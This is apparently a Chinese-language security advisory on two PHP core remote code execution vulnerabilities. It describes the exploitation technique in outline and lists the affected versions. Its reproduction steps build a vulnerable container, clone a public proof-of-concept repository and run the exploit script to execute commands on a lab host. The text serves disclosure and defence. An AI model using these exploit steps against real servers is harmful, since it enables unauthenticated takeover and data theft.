核弹级 PHP远程代码执行漏洞（CVE-2026-109618/109619）

中泊研团队
中泊研团队

中泊研安全应急响应中心

2026年10月22日 14:47
陕西

去阅读

1.漏洞介绍

核弹级 PHP 内核 RCE 漏洞 CVE-2026-109618、CVE-2026-109619，底层内存破坏漏洞，依托 zend 引擎对象 GC 缺陷完成堆溢出利用，通过上千次请求泄露内存地址、解析 libc 符号、劫持 GOT 函数指针，实现无鉴权远程命令执行。

2.漏洞危害

攻击无需账号权限、不需要文件上传入口，只要目标存在可访问 PHP 页面就能发起利用；拿到 www-data 权限后可读取源码、窃取敏感配置、植入后门，还可搭配本地提权拿下服务器最高权限，横向渗透内网。

3.受影响版本

PHP < 8.2.35

PHP < 8.3.36

PHP < 8.4.27

PHP < 8.5.12

4.漏洞复现

（1）环境安装

docker run -d --name lab -p 8085:80 php:8.5.10-apache

（2）启动容器

podman run -d --replace --name lab -p 8085:80 php:8.5.10-apache

podman ps -a --filter name=lab

（3）下载POC

git clone https://github.com/iQingshan/php2shell.git

find . -name \"remote_app.php\"

docker cp ./php2shell/remote_app.php lab:/var/www/html/remote_app.php

（4）漏洞复现

python3 php2shell\_exp.py \

--url http://192.168.3.134:8085/remote\_app.php \

--command 'whoami>www' --attempts 3 --max-seconds 800

curl http://192.168.3.134:8085/www